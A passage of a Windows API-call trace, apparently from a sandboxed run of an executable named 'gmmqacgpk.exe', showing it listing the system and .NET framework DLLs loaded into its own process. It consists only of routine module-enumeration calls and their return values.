lpmodinfo=0x295c1c4*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0034.248] GetLastError () returned 0x7f [0034.248] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0034.249] GetLastError () returned 0x7f [0034.249] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0034.250] GetLastError () returned 0x7f [0034.250] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x295d380, cb=0xc | out: lpmodinfo=0x295d380*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0034.250] GetLastError () returned 0x7f [0034.250] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0034.251] GetLastError () returned 0x7f [0034.251] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0034.251] GetLastError () returned 0x7f [0034.252] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x295e564, cb=0xc | out: lpmodinfo=0x295e564*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0034.252] GetLastError () returned 0x7f [0034.252] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0034.253] GetLastError () returned 0x7f [0034.253] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0034.253] GetLastError () returned 0x7f [0034.254] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x295f704, cb=0xc | out: lpmodinfo=0x295f704*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0034.254] GetLastError () returned 0x7f [0034.254] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0034.255] GetLastError () returned 0x7f [0034.261] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0034.262] GetLastError () returned 0x7f [0034.262] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x2960928, cb=0xc | out: lpmodinfo=0x2960928*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0034.263] GetLastError () returned 0x7f [0034.263] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0034.263] GetLastError () returned 0x7f [0034.264] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0034.264] GetLastError () returned 0x7f [0034.264] CloseHandle (hObject=0x200) returned 1 [0034.264] GetLastError () returned 0x7f [0034.295] GetCurrentProcessId () returned 0xa60 [0034.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0034.295] GetLastError () returned 0x7f [0034.295] EnumProcessModules (in: hProcess=0x200, lphModule=0x2841424, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x2841424, lpcbNeeded=0x30cdb8) returned 1 [0034.296] GetLastError () returned 0x7f [0034.296] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x2841564, cb=0xc | out: lpmodinfo=0x2841564*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0034.296] GetLastError () returned 0x7f [0034.296] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0034.296] GetLastError () returned 0x7f [0034.296] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0034.296] GetLastError () returned 0x7f [0034.296] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x28426ac, cb=0xc | out: lpmodinfo=0x28426ac*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0034.296] GetLastError () returned 0x7f [0034.297] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0034.297] GetLastError () returned 0x7f [0034.297] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0034.297] GetLastError () returned 0x7f [0034.297] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x28437a0, cb=0xc | out: lpmodinfo=0x28437a0*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0034.297] GetLastError () returned 0x7f [0034.297] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0034.297] GetLastError () returned 0x7f [0034.298] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0034.298] GetLastError () returned 0x7f [0034.298] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x284489c, cb=0xc | out: lpmodinfo=0x284489c*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0034.298] GetLastError () returned 0x7f [0034.298] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0034.298] GetLastError () returned 0x7f [0034.298] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0034.299] GetLastError () returned 0x7f [0034.299] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x28459a0, cb=0xc | out: lpmodinfo=0x28459a0*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0034.299] GetLastError () returned 0x7f [0034.299] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0034.299] GetLastError () returned 0x7f [0034.299] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0034.299] GetLastError () returned 0x7f [0034.299] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x2846adc, cb=0xc | out: lpmodinfo=0x2846adc*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0034.300] GetLastError () returned 0x7f [0034.300] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0034.300] GetLastError () returned 0x7f [0034.300] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0034.300] GetLastError () returned 0x7f [0034.300] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x2847be0, cb=0xc | out: lpmodinfo=0x2847be0*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0034.300] GetLastError () returned 0x7f [0034.301] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0034.301] GetLastError () returned 0x7f [0034.301] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0034.301] GetLastError () returned 0x7f [0034.301] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x2848cdc, cb=0xc | out: lpmodinfo=0x2848cdc*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0034.301] GetLastError () returned 0x7f [0034.301] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0034.302] GetLastError () returned 0x7f [0034.302] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0034.302] GetLastError () returned 0x7f [0034.302] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x2849dd8, cb=0xc | out: lpmodinfo=0x2849dd8*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0034.303] GetLastError () returned 0x7f [0034.303] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0034.303] GetLastError () returned 0x7f [0034.303] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0034.303] GetLastError () returned 0x7f [0034.303] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x284af24, cb=0xc | out: lpmodinfo=0x284af24*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0034.304] GetLastError () returned 0x7f [0034.304] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0034.304] GetLastError () returned 0x7f [0034.304] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0034.304] GetLastError () returned 0x7f [0034.304] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x284c020, cb=0xc | out: lpmodinfo=0x284c020*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0034.305] GetLastError () returned 0x7f [0034.305] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0034.305] GetLastError () returned 0x7f [0034.305] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0034.305] GetLastError () returned 0x7f [0034.305] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x284d124, cb=0xc | out: lpmodinfo=0x284d124*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0034.306] GetLastError () returned 0x7f [0034.306] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0034.306] GetLastError () returned 0x7f [0034.306] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0034.306] GetLastError () returned 0x7f [0034.307] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x284e25c, cb=0xc | out: lpmodinfo=0x284e25c*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0034.307] GetLastError () returned 0x7f [0034.307] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0034.307] GetLastError () returned 0x7f [0034.307] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0034.308] GetLastError () returned 0x7f [0034.308] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x284f358, cb=0xc | out: lpmodinfo=0x284f358*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0034.308] GetLastError () returned 0x7f [0034.308] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0034.308] GetLastError () returned 0x7f [0034.309] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0034.309] GetLastError () returned 0x7f [0034.309] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x285044c, cb=0xc | out: lpmodinfo=0x285044c*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0034.309] GetLastError () returned 0x7f [0034.309] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0034.310] GetLastError () returned 0x7f [0034.310] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0034.310] GetLastError () returned 0x7f [0034.310] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x2851548, cb=0xc | out: lpmodinfo=0x2851548*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0034.311] GetLastError () returned 0x7f [0034.311] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0034.311] GetLastError () returned 0x7f [0034.311] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0034.311] GetLastError () returned 0x7f [0034.312] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x2852634, cb=0xc | out: lpmodinfo=0x2852634*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0034.312] GetLastError () returned 0x7f [0034.312] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0034.312] GetLastError () returned 0x7f [0034.312] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0034.313] GetLastError () returned 0x7f [0034.313] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x28537b8, cb=0xc | out: lpmodinfo=0x28537b8*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0034.313] GetLastError () returned 0x7f [0034.313] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0034.314] GetLastError () returned 0x7f [0034.314] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0034.314] GetLastError () returned 0x7f [0034.314] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x28548ac, cb=0xc | out: lpmodinfo=0x28548ac*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0034.315] GetLastError () returned 0x7f [0034.315] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0034.315] GetLastError () returned 0x7f [0034.315] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0034.316] GetLastError () returned 0x7f [0034.316] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x28559a0, cb=0xc | out: lpmodinfo=0x28559a0*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0034.316] GetLastError () returned 0x7f [0034.316] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0034.317] GetLastError () returned 0x7f [0034.317] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0034.317] GetLastError () returned 0x7f [0034.317] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x2856a9c, cb=0xc | out: lpmodinfo=0x2856a9c*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0034.320] GetLastError () returned 0x7f [0034.321] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0034.321] GetLastError () returned 0x7f [0034.321] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0034.321] GetLastError () returned 0x7f [0034.322] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x2857bd4, cb=0xc | out: lpmodinfo=0x2857bd4*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0034.322] GetLastError () returned 0x7f [0034.322] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0034.323] GetLastError () returned 0x7f [0034.323] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0034.323] GetLastError () returned 0x7f [0034.323] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x2858d68, cb=0xc | out: lpmodinfo=0x2858d68*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0034.324] GetLastError () returned 0x7f [0034.324] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0034.324] GetLastError () returned 0x7f [0034.324] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0034.325] GetLastError () returned 0x7f [0034.325] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x2859e64, cb=0xc | out: lpmodinfo=0x2859e64*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0034.325] GetLastError () returned 0x7f [0034.325] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0034.326] GetLastError () returned 0x7f [0034.326] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0034.326] GetLastError () returned 0x7f [0034.326] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x285af58, cb=0xc | out: lpmodinfo=0x285af58*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0034.327] GetLastError () returned 0x7f [0034.327] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0034.327] GetLastError () returned 0x7f [0034.328] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0034.328] GetLastError () returned 0x7f [0034.328] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x285c054, cb=0xc | out: lpmodinfo=0x285c054*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0034.329] GetLastError () returned 0x7f [0034.329] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0034.329] GetLastError () returned 0x7f [0034.329] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0034.330] GetLastError () returned 0x7f [0034.330] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x285d1ec, cb=0xc | out: lpmodinfo=0x285d1ec*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0034.330] GetLastError () returned 0x7f [0034.330] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0034.331] GetLastError () returned 0x7f [0034.331] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0034.331] GetLastError () returned 0x7f [0034.332] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x285e2e8, cb=0xc | out: lpmodinfo=0x285e2e8*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0034.332] GetLastError () returned 0x7f [0034.332] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0034.333] GetLastError () returned 0x7f [0034.333] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0034.334] GetLastError () returned 0x7f [0034.334] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x285f420, cb=0xc | out: lpmodinfo=0x285f420*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0034.334] GetLastError () returned 0x7f [0034.334] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0034.335] GetLastError () returned 0x7f [0034.335] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0034.335] GetLastError () returned 0x7f [0034.336] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x28605ac, cb=0xc | out: lpmodinfo=0x28605ac*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0034.336] GetLastError () returned 0x7f [0034.336] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0034.337] GetLastError () returned 0x7f [0034.337] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: 